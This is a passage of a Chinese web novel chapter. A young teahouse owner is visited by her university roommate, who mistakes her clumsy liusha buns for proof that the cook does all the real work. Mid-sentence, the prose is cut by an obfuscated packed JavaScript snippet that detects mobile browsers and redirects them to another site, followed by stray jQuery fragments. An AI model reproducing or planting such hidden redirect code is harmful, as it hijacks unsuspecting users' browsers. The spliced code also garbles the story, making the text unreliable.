夏咏恩看了眼屏幕,双眼瞬间睁大,连忙接起电话,“喂——”
电话那头传来一把熟悉的声音,“小夏啊,你茶楼的地址在哪里啊,我现在刚下飞机,还在等行李。”
夏咏恩又惊又喜,一口气把地址报了出来,说完便问,“你怎么突然来花城了啊?”
电话那头的人匆匆道,“哎呀,等我来了再跟你细说吧。”
一个小时后,一辆奔驰从远处开来,停在了荣兴楼的门口。
一个高高瘦瘦的女生从车上走下来,她的上身穿着一件平整的白色短袖衬衫,下身配了一条蓝色短裤,脚上穿着一双平底皮鞋,头上顶着一副猫眼墨镜。
夏咏恩激动地走出门去,还没走近就先闻到了一股若隐若现的香气,她打趣道,“哟,你又换香水了?”
“你鼻子真灵,”何玉强一把抱住面前的夏咏恩,又捏了捏她的脸颊肉,“小夏,怎么感觉你瘦了?”
“没有吧,肯定是你太久没见我,所以产生了错觉。”
何玉强挽着夏咏恩进门,“当时参加完毕业典礼你就走了,宿舍聚会你也没去,芽芽和小许都很想你呢。”
赖美珍看见来客,连忙看向夏咏恩,“这位是……”
何玉强主动笑着打招呼,“阿姨您好,我是小夏的大学舍友。”
在上大学之前,夏咏恩对大学的校园生活既憧憬也担忧。
从小到大,因为自己的贫困生身份,常常会引来一些特别的目光。尤其是大学的舍友都来自五湖四海,还要在一起住四年,完全就跟开盲盒一样,要是遇上不好相处的舍友,那真是有够糟心的。
不过夏咏恩没有想到,自己竟然十分幸运,遇上了三个友好的舍友。而其中最亲近的,就是住在对面床的何玉强。
何玉强是北方人,性格大方爽朗,和夏咏恩很是合得来。
二人在荣兴楼转了一圈,何玉强眉头拧得越来越紧,不是,夏咏恩不是回来继承茶楼吗?这……这茶楼破成这样,能有生意?
当初夏咏恩推掉国企的offer回花城的时候,三个舍友都以为,夏咏恩小时候吃了那么多的苦,现在回茶楼继承家业,终于是苦尽甘来了。
可现在看样子,家业是继承了,可夏咏恩还得自己白手起家啊!
再看见包厢里放着的折叠床和电水壶,何玉强更是惊呆了,“你就住在这里啊!”
“是啊,这里怎么了?我觉得挺好的呀。”
“好个鬼啊,这个床比棺材板还硬,你睡着不腰疼啊!”何玉强气不打一处来,“再说了,你洗漱咋办?”
夏咏恩指了指隔壁,那里原来是一间空的包厢,后来被方萍阿姨改成淋浴间了。
何玉强无奈地翻了个白眼,对着夏咏恩,也真是不知道说什么才好。
不过,这地方看着是破旧了一些,可起码有个地方能遮风挡雨,再说了这本来就是茶楼,那么大一个厨房,也饿不死夏咏恩。
谁想到珍姨幽幽地来了一句,“我没来之前,阿恩天天啃馒头呢。”
何玉强一拍大腿,怪不得今天看夏咏恩瘦了那么多,天天睡不好吃不好,身上怎么能长肉!
夏咏恩清了清嗓子,赶紧转移话题,“对了,你到底来花城干嘛?”
“哦,我是来看演唱会的啦。”
何玉强自小喜欢摄影,长大后又迷上了追星,大学的时候就是某偶像团体的站姐。
大学毕业后,她没找到什么合适的工作,就干脆做起专业站姐,除了拍自己喜欢的明星外,还承接其他明星的代拍工作,平时就在不同的国家和城市之间来回跑。
最近她接了一个女团的代拍工作,这个女团正在举行亚洲巡回演唱会,未来半年会在东南亚等地举办演唱会。
花城离东南亚近,她又想着自己和夏咏恩也有一段时间没见了,便决定来这里呆一阵子。
夏咏恩这下懂了,荣兴楼以后就是何玉强的根据地了。
两人隔了两个多月没见,要说的讲是怎么都说不完。经过夏咏恩一解释,何玉强才明白了荣兴楼的现状,以及夏咏恩现在在做的事情。
何玉强抱着疑惑的眼神,看向夏咏恩,“你会做点心?我怎么从来不知道?”
夏咏恩尴尬地笑了笑,“额,也就是最近才学的,不过你放心,我做的点心可好吃了,要不要给你尝尝?”
何玉强自然是立马点头,可她心中知道,夏咏恩说的话,多半是安慰自己而已。
从小到大,山珍海味她还是真的没少吃。虽然不是花城人,但她对粤菜十分感兴趣,而早茶作为粤菜文化中十分重要的一部分,无论是高端的茶楼,还是平民的茶楼,她都去过不少。
无论价格是高是低,粤式点心都有一个十分明显的特征,用料讲究,制作精细,没有几十年的功夫,根本不可能做好点心。
而这个茶楼就两个大活人,珍姨虽然说是小夏请来的帮手,可她看起来就十分有经验。
何玉强暗自在心里下了判断,珍姨应该才是主要负责做点心的人,小夏虽说是老板,但这核心的技术还是握在别人手里啊。
再想到夏咏恩一个人苦苦支撑茶楼,何玉强就忍不住有些难受。
她知道小夏身世不容易,如今又摊上这么大一个茶楼,自己一定得帮帮她才行。
方才自己问起茶楼的事,小夏有些支支吾吾的,却摆出一副气定闲神的模样,说她做的点心味道很不错。
可夏咏恩那厨艺,何玉强是再清楚不过了,煮点泡面快手菜还行,做点心那是绝不可能!
不用多说,小夏摆明了就是想让自己放心,不愿意让自己帮忙。
何玉强认真思索,有什么方法,可以隐晦地帮上她的忙呢……
思及此处,她大手一挥,“走吧,我请你和珍姨出去吃饭。”
“那怎么能行,你是客人我是主人,肯定得我请你。”
何玉强白了她一眼,“我俩关系那么好,你还讲究这些干嘛,走啦!”
三个人来到一家小店,要了三份云吞面,一碗猪血汤,一碗柴鱼花生粥。
三人吃过了饭,夏咏恩又回到了案板前。
她先准备好下午要拿去学校售卖的点心,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507280|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开始尝试做几个流沙包。目前流沙包的等级还停留在C等级,怕是要再过几天才能拿出来售卖。
流沙包其实就是咸蛋黄为馅的包子,包子蒸熟后一口咬下去,蛋黄瞬间宛如金沙流出。
一个好吃的流沙包,最重要的就是内馅。蛋黄虽然会流动,但并不会稀得跟水一样,而是十分绵密,又带有微小的颗粒感,所以才叫流沙,而不是流水。
夏咏恩用刀背将咸鸭蛋和鸡蛋的蛋黄压碎,重复几回,这样压出来的蛋黄就足够细腻,不需要再去过筛。
然后又分别加入奶粉、黄油、白糖等各种配料,和蛋黄搅拌均匀。调配好的蛋黄馅十分松软,按压起来就像在玩雪粉史莱姆一样。
一个小时后,何玉强循着一股香甜的味道,来到了厨房。蒸笼上正在冒着热气,她眼前一亮,“这里头是什么,这么香?”
夏咏恩看了眼厨房上的挂钟,“这是我做的流沙包,看样子应该是快好了。”
“你做的?我还没尝过你做的点心呢,我能尝尝吗?”
看何玉强一脸期待的模样,夏咏恩脸上显出几分尴尬,“这些都是我拿来练手的,等之后我彻底学会了,再做给你吃吧。”
“我就是现在想吃嘛,再说了你做的肯定就没有不好吃的。”
何玉强又不是傻子,自然能感受得到夏咏恩的婉拒之意,可她是这样想的:小夏现在刚开始做点心,正是最需要别人给她鼓励的时候,自己一定要多多夸赞她才好!
而她不知道,平时这些练手的包子,都是夏咏恩留下来自己吃掉的,就连珍姨也没有吃过。
毕竟,在员工面前树立一下形象还是很有必要的。
见何玉强坚持,夏咏恩也只好作罢,反正她是自己闺蜜,吃了也没事。
在夏咏恩“期盼”的眼神中,何玉强将碗里的流沙包拿了起来,递到嘴边,咬了一小口下去。
“怎么样,味道是不是很一般?”
何玉强刚要皱起的眉头赶紧舒展开了,“哇塞,这是我吃过最好吃的流沙包!这比香港米其林店做的都要好吃!”
夏咏恩赶紧打住她的话,“行了,我知道这个包子味道确实不咋样,你不用特意夸我,说实话就行。”
“我说的就是实话,真的特别好吃!”
“我自己做的包子,我不知道什么味道吗?”夏咏恩忍俊不禁,刚想拿起桌上的另一个流沙包,结果又被何玉强夺去了。
“这可是你第一次给我做的包子,我要全部都吃完,你不许跟我抢!”
小夏大热天还在厨房干活那么辛苦,都热得浑身是汗了,千万不能让她知道自己做的点心那么难吃!
夏咏恩无奈作罢,暗自想:等流沙包等级提高了,一定要让她再尝一次才行。
而吃得“津津有味”的何玉强,心里也在想着:果然啊,那些好吃的点心都是珍姨做的。
无论如何,自己一定要想尽办法帮帮小夏,不然就凭她这个手艺,根本不可能有人来茶楼喝茶啊!
夏咏恩见何玉强吃得正欢,只得扶着脑门叹口气,这下误会大了!